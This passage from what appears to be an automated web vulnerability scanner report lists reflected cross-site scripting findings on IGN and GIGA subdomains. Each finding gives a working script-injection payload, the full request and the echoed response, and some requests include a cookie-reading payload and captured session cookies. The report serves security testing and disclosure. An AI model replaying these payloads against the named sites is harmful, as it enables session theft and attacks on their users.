Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-32430-1781198451-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:01:25 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044085842v-1n-12mc+1297044085842mv+1mn+12wwe~1;Path=/;Domain=.ign.com
Content-Length: 104380

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wireless.ign.com/articles/106/1063222p1.html?38b4f"><script>alert(1)</script>828feb80c75=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.538. http://wireless.ign.com/articles/106/1063222p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wireless.ign.com
Path:	/articles/106/1063222p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 23210"-alert(1)-"df9c2b4bea8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/106/1063222p1.html?23210"-alert(1)-"df9c2b4bea8=1 HTTP/1.1
Host: wireless.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:01:34 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31243-655500097-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:01:34 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044094402v-1n-12mc+1297044094402mv+1mn+12wwe~1;Path=/;Domain=.ign.com
Content-Length: 104319

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
eGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wireless.ign.com/articles/106/1063222p1.html?23210"-alert(1)-"df9c2b4bea8=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.539. http://wireless.ign.com/articles/114/1140704p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wireless.ign.com
Path:	/articles/114/1140704p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9b2e2"-alert(1)-"a64fe565a67 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1140704p1.html?9b2e2"-alert(1)-"a64fe565a67=1 HTTP/1.1
Host: wireless.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:01:26 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-1032422639-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:01:26 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044086286v-1n-12mc+1297044086286mv+1mn+12wwe~1;Path=/;Domain=.ign.com
Content-Length: 120584

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
eGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wireless.ign.com/articles/114/1140704p1.html?9b2e2"-alert(1)-"a64fe565a67=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.540. http://wireless.ign.com/articles/114/1140704p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wireless.ign.com
Path:	/articles/114/1140704p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9a0d"><script>alert(1)</script>565c3fc6086 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1140704p1.html?a9a0d"><script>alert(1)</script>565c3fc6086=1 HTTP/1.1
Host: wireless.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:01:16 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19918-1839758435-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:01:16 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044076712v-1n-12mc+1297044076712mv+1mn+12wwe~1;Path=/;Domain=.ign.com
Content-Length: 120499

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wireless.ign.com/articles/114/1140704p1.html?a9a0d"><script>alert(1)</script>565c3fc6086=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.541. http://wireless.ign.com/objects/038/038020.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wireless.ign.com
Path:	/objects/038/038020.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4313"><script>alert(1)</script>6b33d41d733 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/038/038020.html?e4313"><script>alert(1)</script>6b33d41d733=1 HTTP/1.1
Host: wireless.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:01:10 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26296-1760938754-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:01:10 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044070906v-1n-12mc+1297044070906mv+1mn+12wwe~1;Path=/;Domain=.ign.com
Content-Length: 117598

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: World of Goo<
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wireless.ign.com/objects/038/038020.html?e4313"><script>alert(1)</script>6b33d41d733=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.542. http://wireless.ign.com/objects/038/038020.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wireless.ign.com
Path:	/objects/038/038020.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f1cec"-alert(1)-"e1c5f31f9ab was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/038/038020.html?f1cec"-alert(1)-"e1c5f31f9ab=1 HTTP/1.1
Host: wireless.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:01:13 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13836-699194300-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:01:13 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044073954v-1n-12mc+1297044073954mv+1mn+12wwe~1;Path=/;Domain=.ign.com
Content-Length: 117557

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: World of Goo<
...[SNIP]...
scoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wireless.ign.com/objects/038/038020.html?f1cec"-alert(1)-"e1c5f31f9ab=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.543. http://wireless.ign.com/objects/097/097174.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wireless.ign.com
Path:	/objects/097/097174.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4007e"-alert(1)-"80b953f75a5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/097/097174.html?4007e"-alert(1)-"80b953f75a5=1 HTTP/1.1
Host: wireless.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:01:16 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22329-604941207-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:01:16 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044076907v-1n-12mc+1297044076907mv+1mn+12wwe~1;Path=/;Domain=.ign.com
Content-Length: 118835

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Devil May Cry
...[SNIP]...
scoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wireless.ign.com/objects/097/097174.html?4007e"-alert(1)-"80b953f75a5=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.544. http://wireless.ign.com/objects/097/097174.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wireless.ign.com
Path:	/objects/097/097174.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e9e8"><script>alert(1)</script>b7c4da71c3d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/097/097174.html?8e9e8"><script>alert(1)</script>b7c4da71c3d=1 HTTP/1.1
Host: wireless.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:01:10 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27365-1055511082-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:01:10 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044070926v-1n-12mc+1297044070926mv+1mn+12wwe~1;Path=/;Domain=.ign.com
Content-Length: 119055

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Devil May Cry
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wireless.ign.com/objects/097/097174.html?8e9e8"><script>alert(1)</script>b7c4da71c3d=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.545. http://wrapper.giga.de/a [channel_name_override parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wrapper.giga.de
Path:	/a

Issue detail

The value of the channel_name_override request parameter is copied into the HTML document as plain text between tags. The payload d7343<script>alert(1)</script>d621e13b54a was submitted in the channel_name_override parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /a?size=text&network_id=33&pagetype=homepage&channel_name_override=homed7343<script>alert(1)</script>d621e13b54a&contentTitle=GIGA+-+Gaming+and+Digital+Entertainment HTTP/1.1
Host: wrapper.giga.de
Proxy-Connection: keep-alive
Referer: http://www.giga.de/?2284b%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E732b2e7ef39=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=8078faf5d2635d5afd7e8e9f59045eef

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:34:10 GMT
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html;charset=UTF-8
P3P: CP="NOI ADMa OUR STP"
Set-Cookie: decc=US;Path=/;Domain=.giga.de
Set-Cookie: i18n-cc=US;Path=/;Domain=.giga.de
Set-Cookie: freq=c-1297046050648v-0n-0mc+1297046050648mv+0mn+0wwe~0;Path=/;Domain=.giga.de
Content-Length: 44034

if(typeof showStitial == 'undefined' || !showStitial){
if(typeof adString == 'undefined') var adString = "";

var tileDate = new Date();
var tile = tileDate.getTime();
var isLinked
...[SNIP]...
Copyright 1997-2008 Omniture, Inc. More info available at
http://www.omniture.com */

/* You may give each page an identifying name, server, and channel on
the next lines. */
s.pageName="null:homed7343<script>alert(1)</script>d621e13b54a:homepage"; /* Page Name */
s.server=location.host;
s.prop1="";
s.prop2=""; /* Network */
s.prop3="homed7343<script>
...[SNIP]...

3.546. http://wrapper.giga.de/a [contentTitle parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wrapper.giga.de
Path:	/a

Issue detail

The value of the contentTitle request parameter is copied into the HTML document as plain text between tags. The payload 6e6a7<script>alert(1)</script>082b9f6320c was submitted in the contentTitle parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /a?size=text&network_id=33&pagetype=homepage&channel_name_override=home&contentTitle=GIGA+-+Gaming+and+Digital+Entertainment6e6a7<script>alert(1)</script>082b9f6320c HTTP/1.1
Host: wrapper.giga.de
Proxy-Connection: keep-alive
Referer: http://www.giga.de/?2284b%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E732b2e7ef39=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=8078faf5d2635d5afd7e8e9f59045eef

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:34:11 GMT
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: decc=US;Path=/;Domain=.giga.de
Set-Cookie: i18n-cc=US;Path=/;Domain=.giga.de
Set-Cookie: freq=c-1297046051459v-0n-0mc+1297046051459mv+0mn+0wwe~0;Path=/;Domain=.giga.de
Content-Type: text/html;charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
P3P: CP="NOI ADMa OUR STP"
Content-Length: 43993

if(typeof showStitial == 'undefined' || !showStitial){
if(typeof adString == 'undefined') var adString = "";

var tileDate = new Date();
var tile = tileDate.getTime();
var isLinked
...[SNIP]...
p2="";            /* Network */
s.prop3="home";            /* Channel */
s.prop4="homepage";            /* Page Type */
s.prop5="";
s.prop6="";            /* Object ID's*/
s.prop7=s.pageName+":GIGA - Gaming and Digital Entertainment6e6a7<script>alert(1)</script>082b9f6320c"; /* Content Title */
s.prop8="";            /* Article ID */
s.prop9="";
s.prop10="";
s.prop11="";            /* Event ID */
s.prop12="";            /* Page Number */
s.prop13="";
s.prop14="";            /* Topic ID's */
...[SNIP]...

3.547. http://wrapper.giga.de/a [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wrapper.giga.de
Path:	/a

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 62d5a<script>alert(1)</script>4d6a7d1bf8e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /a?size=text&network_id=33&pagetype=homepage&channel_name_override=home&contentTitle=GIGA+-+Gaming+and+Digital+Entertainment&62d5a<script>alert(1)</script>4d6a7d1bf8e=1 HTTP/1.1
Host: wrapper.giga.de
Proxy-Connection: keep-alive
Referer: http://www.giga.de/?2284b%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E732b2e7ef39=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=8078faf5d2635d5afd7e8e9f59045eef

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:34:12 GMT
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html;charset=UTF-8
P3P: CP="NOI ADMa OUR STP"
Set-Cookie: decc=US;Path=/;Domain=.giga.de
Set-Cookie: i18n-cc=US;Path=/;Domain=.giga.de
Set-Cookie: freq=c-1297046052274v-0n-0mc+1297046052274mv+0mn+0wwe~0;Path=/;Domain=.giga.de
Content-Length: 43904

if(typeof showStitial == 'undefined' || !showStitial){
if(typeof adString == 'undefined') var adString = "";

var tileDate = new Date();
var tile = tileDate.getTime();
var isLinked
...[SNIP]...
<"+"script type='text/javascript' src='http://de.ign.com/js.ng/size=text&network=fim&site=giga_de&dechannel=unmatched&subdomain=www.giga.de&hosted_id=14726&channel_name_override=home&62d5a<script>alert(1)</script>4d6a7d1bf8e=1&network_id=33&contentTitle=GIGA%252B-%252BGaming%252Band%252BDigital%252BEntertainment&pagetype=homepage&PageId=1297046052277&random=1297046052277&regspeed=-1&regage=0&reggender=3&property=ign&tile=
...[SNIP]...

3.548. http://wrapper.giga.de/a [pagetype parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wrapper.giga.de
Path:	/a

Issue detail

The value of the pagetype request parameter is copied into the HTML document as plain text between tags. The payload 594c4<script>alert(1)</script>7392c124e08 was submitted in the pagetype parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /a?size=text&network_id=33&pagetype=homepage594c4<script>alert(1)</script>7392c124e08&channel_name_override=home&contentTitle=GIGA+-+Gaming+and+Digital+Entertainment HTTP/1.1
Host: wrapper.giga.de
Proxy-Connection: keep-alive
Referer: http://www.giga.de/?2284b%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E732b2e7ef39=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=8078faf5d2635d5afd7e8e9f59045eef

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:34:09 GMT
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html;charset=UTF-8
P3P: CP="NOI ADMa OUR STP"
Set-Cookie: decc=US;Path=/;Domain=.giga.de
Set-Cookie: i18n-cc=US;Path=/;Domain=.giga.de
Set-Cookie: freq=c-1297046049736v-0n-0mc+1297046049736mv+0mn+0wwe~0;Path=/;Domain=.giga.de
Content-Length: 44089

if(typeof showStitial == 'undefined' || !showStitial){
if(typeof adString == 'undefined') var adString = "";

var tileDate = new Date();
var tile = tileDate.getTime();
var isLinked
...[SNIP]...
1997-2008 Omniture, Inc. More info available at
http://www.omniture.com */

/* You may give each page an identifying name, server, and channel on
the next lines. */
s.pageName="null:home:homepage594c4<script>alert(1)</script>7392c124e08";        /* Page Name */
s.server=location.host;
s.prop1="";
s.prop2="";            /* Network */
s.prop3="home";            /* Channel */
s.prop4="homepage594c4<script>
...[SNIP]...

3.549. http://wrapper.ign.com/a [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wrapper.ign.com
Path:	/a

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 58e22<script>alert(1)</script>10e7e7af985 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /a?size=text&pagetype=social_register&subdomain=my.ign.com&58e22<script>alert(1)</script>10e7e7af985=1 HTTP/1.1
Host: wrapper.ign.com
Proxy-Connection: keep-alive
Referer: http://my.ign.com/register?r=http://www.ign.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmb=173446715.1.10.1297040497

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:04:12 GMT
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html;charset=UTF-8
P3P: CP="NOI ADMa OUR STP"
Set-Cookie: freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 73359

if(typeof showStitial == 'undefined' || !showStitial){
if(typeof adString == 'undefined') var adString = "";

var tileDate = new Date();
var tile = tileDate.getTime();
var isLinked
...[SNIP]...
<"+"script type='text/javascript' src='http://de.ign.com/js.ng/size=text&network=fim&site=ignmypage&dechannel=myign&subdomain=my.ign.com&hosted_id=6540&58e22<script>alert(1)</script>10e7e7af985=1&pagetype=social_register&reginsider=a&PageId=1297040652370&random=1297040652370&country2=us&rsi_segs=&property=ign&tile="+tile+"'>
...[SNIP]...

3.550. http://wrapper.ign.com/a [pagetype parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wrapper.ign.com
Path:	/a

Issue detail

The value of the pagetype request parameter is copied into the HTML document as plain text between tags. The payload 91338<script>alert(1)</script>788c1251308 was submitted in the pagetype parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /a?size=text&pagetype=social_register91338<script>alert(1)</script>788c1251308&subdomain=my.ign.com HTTP/1.1
Host: wrapper.ign.com
Proxy-Connection: keep-alive
Referer: http://my.ign.com/register?r=http://www.ign.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
